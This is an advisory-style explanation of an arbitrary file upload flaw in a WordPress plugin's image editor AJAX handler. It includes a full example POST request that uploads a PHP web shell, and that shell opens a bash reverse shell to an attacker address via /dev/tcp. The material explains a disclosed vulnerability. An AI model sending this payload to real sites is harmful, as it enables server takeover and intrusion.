How the Exploit Works
The exploit takes advantage of the lack of file type validation in the ‘aiomatic_image_editor_ajax_submit’ function. This allows an authenticated user with at least subscriber-level access to upload arbitrary files on the server. The attackers can use this vulnerability to upload malicious scripts, which can be later executed to compromise the system.
Conceptual Example Code
Below is a conceptual example of how the vulnerability might be exploited.
POST /wp-admin/admin-ajax.php?action=aiomatic_image_editor_ajax_submit HTTP/1.1
Host: vulnerable-website.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="aiomatic_image"; filename="malicious.php"
Content-Type: application/x-php
<?php exec('/bin/bash -c "bash -i >& /dev/tcp/attacker-ip/8080 0>&1"'); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this conceptual example, the attacker uploads a PHP file that when executed, opens a reverse shell to the attacker’s machine, granting them control over the server.
